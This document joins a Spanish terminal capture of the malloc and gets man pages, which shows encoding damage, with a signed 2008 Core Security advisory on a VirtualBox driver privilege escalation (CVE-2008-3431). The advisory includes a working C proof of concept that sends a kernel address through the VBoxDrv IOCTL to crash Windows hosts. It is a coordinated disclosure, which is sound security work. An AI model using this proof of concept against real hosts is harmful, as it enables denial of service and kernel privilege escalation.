sch3m4@debianito:~$ man malloc

MALLOC(3)               Manual del Programador de Linux              MALLOC(3)



NOMBRE
       calloc, malloc, free, realloc - Asignar y liberar memoria dinámica

SINOPSIS
       #include <stdlib.h>

       void *calloc(size_t nmemb, size_t size);
       void *malloc(size_t size);
       void free(void *ptr);
       void *realloc(void *ptr, size_t size);

DESCRIPCI�ÓN
       calloc()  asigna  memoria  para  una  matriz de nmemb elementos de size
       bytes cada uno y devuelve un puntero a la memoria asignada. La  memoria
       es puesta a cero.

       malloc() asigna size bytes y devuelve un puntero a la memoria asignada.
       La memoria no es borrada.

       free() libera el espacio de memoria apuntado por ptr,  que  debe  haber
       sido  devuelto por una llamada previa a malloc(), calloc() o realloc().
       En caso contrario, o si free(ptr) ya se ha llamado antes, se produce un
       comportamiento  indefinido.   Si  ptr  es  NULL,  no se realiza ninguna
       operación.

       realloc() cambia el tamaño del bloque de memoria  apuntado  por  ptr  a
       size  bytes.  El contenido permanecerá inalterado hasta el mínimo entre
       el tamaño viejo y el nuevo; la memoria recién asignada quedará sin ini‐
       cializar.  Si ptr es NULL, la llamada es equivalente a malloc(size); si
       size es igual a cero, la llamada es equivalente a free(ptr).  ptr  debe
       haber sido devuelto por una llamada previa a malloc(), calloc() o real��‐
       loc(), a menos que ptr sea NULL.

VALOR DEVUELTO
       Para calloc() y malloc(), el valor devuelto es un puntero a la  memoria
       asignada,  que  está  convenientemente  alineada para cualquier tipo de
       variable, o NULL si la petición falla.

       free() no devuelve ningún valor.

       realloc() devuelve un puntero a la memoria recién  asignada,  que  está
       convenientemente preparada para cualquier tipo de variable y podría ser
       diferente de ptr, o NULL si la petición falla. Si size es igual a 0, se
       devuelve  o  bien  NULL  o  bien un puntero susceptible de ser pasado a
       free().Si realloc() falla el bloque original se queda como estaba -  no
       es liberado ni movido.

CONFORME A
       ANSI-C

V�ÉASE TAMBI�ÉN
       brk(2), posix_memalign(3)

OBSERVACIONES
       El  estándar Unix98 necesita que malloc(), calloc() y realloc() asignen
       a errno el valor ENOMEM en caso de fallo. Glibc asume que esto se  hace
       (y  las  versiones  de  glibc  de estas rutinas hacen esto); si usa una
       implementación privada de malloc  que  no  asinga  un  valor  a  errno,
       entonces  ciertas  rutinas de biblioteca pueden fallar sin que en errno
       aparezca el motivo del fallo.

       Los  caídas  de  malloc(),  free()  o  realloc()  casi  siempre   están
       relacionadas con la corrupción de la memoria montón (heap), tal como el
       desbordamiento de una porción de memoria reservada o la liberación  del
       mismo puntero dos veces.

       Las versiones recientes de libc de Linux (posteriores a la 5.4.23) y de
       GNU libc (2.x) incluyen una implementación de malloc que se puede ajus‐
       tar  mediante  variables de entorno. Cuando se define MALLOC_CHECK_, se
       usa una implementación especial (menos  eficiente)  que  está  diseñada
       para tolerar errores simples, tales como una llamada doble a free() con
       el mismo argumento o sobrepasar un límite en un byte (fallos "fuera por
       poco" o de desbordamiento).  No obstante, no es posible protegerse con‐
       tra todos los errores y se pueden producir pérdidas de memoria.  Si  se
       asigna  a  MALLOC_CHECK_  el  valor  0, cualquier corrupción de memoria
       montón detectada se ignora silenciosamente; si se le asigna el valor 1,
       se  imprime  un diagnóstico en la salida estándar de error (stderr); si
       se le asigna el valor 2, se llama inmediatamente a  abort().   Esto  es
       útil  porque,  en caso contrario, se puede producir una caída mucho más
       tarde y entonces es mucho más difícil buscar y encontrar la causa  real
       del problema.

       Linux  sigue  una  estrategia de asignación de memoria optimista.  Ésto
       significa que cuando malloc() devuelve un valor distinto de NULL no hay
       garantía  de  que  la  memoria esté realmente disponible. En caso de el
       sistema se haya quedado sin memoria, uno o más procesos  serán  matados
       por el infame asesino 00M.




GNU                              4 Abril 1993                        MALLOC(3)

GETS(3)                 Manual del Programador de Linux                GETS(3)



NOMBRE
       fgetc,  fgets,  getc,  getchar,  gets, ungetc - entrada de caracteres y
       cadenas de ellos

SINOPSIS
       #include <stdio.h>

       int fgetc(FILE *flujo);
       char *fgets(char *s, int tam, FILE *flujo);
       int getc(FILE *flujo);
       int getchar(void);
       char *gets(char *s);
       int ungetc(int c, FILE *flujo);

DESCRIPCI�ÓN
       fgetc() lee el siguiente carácter  de  flujo  y  lo  devuelve  como  un
       unsigned  char  modelado a un int, o EOF al llegar al final del flujo o
       en caso de error.

       getc() es equivalente a fgetc() excepto en el hecho de que puede  estar
       implementado como una macro que evalúe flujo más de una vez.

       getchar() es equivalente a getc(stdin).

       gets()  lee  una línea de stdin y la guarda en el búfer al que apunta s
       hasta que se encuentre bien un carácter  terminador  nueva-línea,  bien
       EOF,  al  cual  reemplaza con ��’\0��’.  No se hace ninguna comprobación de
       desbordamiento del búfer (vea FALLOS más abajo).

       fgets() lee como mucho uno menos de tam  caracteres  del  flujo  y  los
       guarda  en  el búfer al que apunte s.  La lectura se para tras un EOF o
       una nueva-línea. Si se lee una nueva-línea, se guarda en el búfer. Tras
       el último carácter en el búfer se guarda un ��’\0��’.

       ungetc()  pone  c  de  vuelta en flujo, modelado a unsigned char, donde
       queda disponible para una posterior operación de  lectura.  Los  carac‐
       teres  puestos  en  el  flujo serán devueltos en orden inverso; sólo se
       garantiza que se pueda devolver al flujo un carácter.

       Las llamadas a las funciones descritas aquí pueden mezclarse  unas  con
       otras  y  con  llamadas  a  otras funciones de entrada de la biblioteca
       stdio para el mismo flujo de entrada.

       Para las versiones no-bloqueantes, véase unlocked_stdio(3).

VALOR DEVUELTO
       fgetc(), getc()  y  getchar()  devuelven  el  carácter  leído  como  un
       unsigned  char modelado a un int o EOF al llegar al final de la entrada
       o en caso de error.

       gets() y fgets() devuelven s en caso de éxito, y NULL en caso de  error
       o  cuando  se llegue al final del fichero mientras que no se haya leído
       ningún carácter.

       ungetc() devuelve c en caso de éxito, o EOF en caso de error.

CONFORME A
       ANSI - C, POSIX.1

FALLOS
       No use nunca gets().  Puesto que es imposible  saber,  sin  conocer  de
       antemano  los  datos, cuántos caracteres va a leer gets(), y puesto que
       gets() continuará guardando caracteres una vez alcanzado el  final  del
       búfer, su empleo es extremadamente peligroso. Muchas veces ha sido uti‐
       lizado para comprometer la seguridad de un sistema. En su lugar  emplee
       fgets() siempre que pueda.

       No  es  recomendable  mezclar llamadas a las funciones de entrada de la
       biblioteca stdio con llamadas de bajo nivel a read() para el descriptor
       de  fichero  asociado  con  el  flujo  de entrada; los resultados serán
       indefinidos y probablemente no los deseados.

V�ÉASE TAMBI�ÉN
       read(2), write(2), ferror(3), fopen(3),  fread(3),  fseek(3),  puts(3),
       scanf(3), unlocked_stdio(3)



GNU                              4 abril 1993                          GETS(3)

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Core Security Technologies - CoreLabs Advisory
http://www.coresecurity.com/corelabs/

Sun xVM VirtualBox Privilege Escalation Vulnerability

*Advisory Information*

Title: Sun xVM VirtualBox Privilege Escalation Vulnerability
Advisory ID: CORE-2008-0716
Advisory URL:
http://www.coresecurity.com/content/virtualbox-privilege-escalation-vulnerability
Date published: 2008-08-04
Date of last update: 2008-08-04
Vendors contacted: Sun Microsystems
Release mode: Coordinated release

*Vulnerability Information*

Class: Insufficient input validation
Remotely Exploitable: No
Locally Exploitable: Yes
Bugtraq ID: 30481
CVE Name: CVE-2008-3431

*Vulnerability Description*

Virtualization technologies allow users to run different operating
systems simultaneously on top of the same set of underlying physical
hardware. This provides several benefits to end users and organizations,
including efficiency gains in the use of hardware resources, reduction
of operational costs, dynamic re-allocation of computing resources and
rapid deployment and configuration of software development and testing
environments.

VirtualBox is an open source virtualization technology project
originally developed by Innotek, a software company based in Germany.

In February 2008 Sun Microsystems announced the acquisition of Innotek
[1] and VirtualBox was integrated into Sun's xVM family of
virtualization technologies. In May 2008, Sun Microsystems announced
that the number of downloads of the open source VirtualBox software
package passed the five million mark [2].

When used on a Windows Host Operating System VirtualBox installs a
kernel driver ('VBoxDrv.sys') to control virtualization of guest
Operating Systems.

An input validation vulnerability was discovered within VirtualBox's
'VBoxDrv.sys' driver that could allow an attacker, with local but
un-privileged access to a host where VirtualBox is installed, to execute
arbitrary code within the kernel of the Windows host operating system
and to gain complete control of a vulnerable computer system.

*Vulnerable Packages*

. Sun xVM VirtualBox 1.6.2.
. Sun xVM VirtualBox 1.6.0.
. This issue only occurs in the Microsoft Windows versions of xVM
VirtualBox.

*Non-vulnerable Packages*

. Sun xVM VirtualBox 1.6.4 (for Microsoft Windows)

*Vendor Information, Solutions and Workarounds*

No workarounds exist for this issue. A security bulletin from the vendor
that describes this issue is available here:
http://sunsolve.sun.com/search/document.do?assetkey=1-66-240095-1.

*Credits*

This vulnerability was discovered and researched by Anibal Sacco from
the CORE IMPACT Exploit Writing Team (EWT) at Core Security Technologies.

*Technical Description / Proof of Concept Code*

When the VirtualBox package is installed on a host the 'VBoxDrv.sys'
driver is loaded on the machine. This driver allows any unprivileged
user to open the device '\\.\VBoxDrv' and issue IOCTLs with a buffering
mode of METHOD_NEITHER without any kind of validation. This allows
untrusted user mode code to pass arbitrary kernel addresses as arguments
to the driver.

With specially constructed input, a malicious user can use functionality
within the driver to patch kernel addresses and execute arbitrary code
in kernel mode. When handling IOCTLs a communication method must be
pre-defined between the user-mode application and the driver module. The
selected method will determine how the I/O Manager manipulates memory
buffers used in the communication.

The 'METHOD_NEITHER' is a very dangerous method because the pointer
passed to 'DeviceIoControl' as input or output buffer will be sent
directly to the driver, thus transferring it the responsibility of doing
the proper checks to validate the addresses sent from user mode.

The 'VBoxDrv.sys' driver uses the 'METHOD_NEITHER' communication method
when handling IOCTLs request and does not validate properly the buffer
sent in the Irp object allowing an attacker to write to any memory
address in the kernel-mode.

Let's see the bug on the source. This is the function used to handle the
IOCTL requests at 'SUPDrv-win.cpp'.

/-----------

NTSTATUS _stdcall VBoxDrvNtDeviceControl(PDEVICE_OBJECT pDevObj, PIRP
pIrp)
{
PSUPDRVDEVEXT pDevExt = (PSUPDRVDEVEXT)pDevObj->DeviceExtension;
PIO_STACK_LOCATION pStack = IoGetCurrentIrpStackLocation(pIrp);
PSUPDRVSESSION pSession =
(PSUPDRVSESSION)pStack->FileObject->FsContext;

/*
* Deal with the two high-speed IOCtl that takes it's arguments from
* the session and iCmd, and only returns a VBox status code.
*/
ULONG ulCmd = pStack->Parameters.DeviceIoControl.IoControlCode;
if ( ulCmd == SUP_IOCTL_FAST_DO_RAW_RUN
(1) || ulCmd == SUP_IOCTL_FAST_DO_HWACC_RUN
|| ulCmd == SUP_IOCTL_FAST_DO_NOP)
{
KIRQL oldIrql;
int rc;

/* Raise the IRQL to DISPATCH_LEVEl to prevent Windows from
rescheduling us to another CPU/core. */
Assert(KeGetCurrentIrql() <= DISPATCH_LEVEL);
KeRaiseIrql(DISPATCH_LEVEL, &oldIrql);
(2) rc = supdrvIOCtlFast(ulCmd, pDevExt, pSession);
KeLowerIrql(oldIrql);

/* Complete the I/O request. */
NTSTATUS rcNt = pIrp->IoStatus.Status = STATUS_SUCCESS;
pIrp->IoStatus.Information = sizeof(rc);
__try
{
(3) *(int *)pIrp->UserBuffer = rc;
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
rcNt = pIrp->IoStatus.Status = GetExceptionCode();
dprintf(("VBoxSupDrvDeviceContorl: Exception Code %#x\n", rcNt));
}
IoCompleteRequest(pIrp, IO_NO_INCREMENT);
return rcNt;
}

return VBoxDrvNtDeviceControlSlow(pDevExt, pSession, pIrp, pStack);
}

- -----------/

At (1), we can see the sentence checking the IOCTL code. The constants
use are defined at 'SUPDrvIOC.h' in this way:

/-----------

#define SUP_IOCTL_FAST_DO_RAW_RUN SUP_CTL_CODE_FAST(64)
/** Fast path IOCtl: VMMR0_DO_HWACC_RUN */
#define SUP_IOCTL_FAST_DO_HWACC_RUN SUP_CTL_CODE_FAST(65)
/** Just a NOP call for profiling the latency of a fast ioctl call to
VMMR0. */
#define SUP_IOCTL_FAST_DO_NOP SUP_CTL_CODE_FAST(66)

- -----------/

With the macro 'SUP_CTL_CODE_FAST()' defined in the same file:

/-----------

#define SUP_CTL_CODE_FAST(Function) CTL_CODE(FILE_DEVICE_UNKNOWN,
(Function)
| SUP_IOCTL_FLAG, METHOD_NEITHER,
FILE_WRITE_ACCESS)

- -----------/

Now we know that the communication method used will be 'METHOD_NEITHER '
(this could also be easily seen by looking at the resulting IOCTL code
in the disassembled binary).

Then at (2) the value returned by 'supdrvIOCtlFast()' is saved in 'rc'
and this is where the problem starts because at (3), the value in 'rc'
is written directly to the buffer pointer sent from usermode without any
check to validate that it is really pointing to an usermode address or
even a valid one.

In this scenario, it is possible to feed the IOCTL with kernel addresses
to write the value returned by 'supdrvIOCtlFast()' ANY address in kernel
space memory as many times as necessary to modify kernel code or kernel
pointers to subsequently get code execution in ring 0 context (that
means, with system privileges).

This is the Proof of Concept I have made to trigger and show the
vulnerability. This will generate a Blue Screen of Death (BSOD) trying
to write to an unpaged kernel mode address (0x80808080) but any other
arbitrary address could be used.

/-----------

// Author: Anibal Sacco (aLS)
// Contact: anibal.sacco (at) coresecurity (dot) com [email concealed]
// anibal.sacco (at) gmail (dot) com [email concealed]
// Organization: Core Security Technologies

#include <windows.h/>
#include <stdio.h/>

int main(int argc, char **argv)
{
HANDLE hDevice;
DWORD cb;
char szDevice[] = "\\\\.\\VBoxDrv";

if ( (hDevice = CreateFileA(szDevice,
GENERIC_READ|GENERIC_WRITE,
0,
0,
OPEN_EXISTING,
0,
NULL) ) != INVALID_HANDLE_VALUE )
{
printf("Device %s succesfully opened!\n", szDevice);
}
else
{
printf("Error: Error opening device %s\n",szDevice);
}

cb = 0;
if (!DeviceIoControl(hDevice,
0x228103,
(LPVOID)0x80808080,0,
(LPVOID)0x80808080,0x0,
&cb,
NULL))
{
printf("Error in DeviceIo ... bytes returned %#x\n",cb);
}
}

- -----------/

*Report Timeline*

. 2008-07-16: Core Security Technologies notifies the VirtualBox team of
the vulnerability.
. 2008-07-17: Vendor acknowledges notification.
. 2008-07-29: Core asks the vendor for a status update in the fixing
process.
. 2008-07-30: Vendor notifies a patched version will be publicly
available on Monday 4th, August.
. 2008-07-31: Core asks the vendor to provide URL to their alert and to
confirm which versions are vulnerable and which version will include the
fix.
. 2008-07-31: CVE ID request sent to Mitre.
. 2008-07-31: Bugtraq ID request sent to SecurityFocus.com.
. 2008-07-31: CVE ID received from Mitre.
. 2008-07-31: Bugtraq ID received SecurityFocus.com.
. 2008-08-01: Vendor provides draft version of Sun Alert and URL to
reference it.
. 2008-08-01: Core updates its security advisory with information about
vulnerable and non-vulnerable packages. Core provides its URL to the
vendor and indicates that the vendor cataloged the issue as a Denial of
Service bug but it should be considered a privilege escalation problem
since it allows unprivileged users to execute code in the kernel context.
. 2008-08-04: Vendor confirms that this issue can lead to arbitrary code
execution by an unprivileged user.
. 2008-08-04: CORE-2008-0716 advisory is published.

*References*

[1] Sun Welcomes Innotek - http://www.sun.com/software/innotek/.
[2] http://www.sun.com/aboutsun/pr/2008-05/sunflash.20080529.1.xml.

*About CoreLabs*

CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
http://www.coresecurity.com/corelabs/.

*About Core Security Technologies*

Core Security Technologies develops strategic solutions that help
security-conscious organizations worldwide develop and maintain a
proactive process for securing their networks. The company's flagship
product, CORE IMPACT, is the most comprehensive product for performing
enterprise security assurance testing. CORE IMPACT evaluates network,
endpoint and end-user vulnerabilities and identifies what resources are
exposed. It enables organizations to determine if current security
investments are detecting and preventing attacks. Core Security
Technologies augments its leading technology solution with world-class
security consulting services, including penetration testing and software
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core
Security Technologies can be reached at 617-399-6980 or on the Web at
http://www.coresecurity.com.

*Disclaimer*

The contents of this advisory are copyright (c) 2008 Core Security
Technologies and (c) 2008 CoreLabs, and may be distributed freely
provided that no fee is charged for this distribution and proper credit
is given.

*GPG/PGP Keys*

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.a
sc.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.7 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFIl2jIyNibggitWa0RAtj0AJ9HSRe3Hq+SCqU0RfU2LwaxINL1NwCdH5p+
md6p6ZKbhrc7SfaD6EsxjoA=
=kQyV
-----END PGP SIGNATURE-----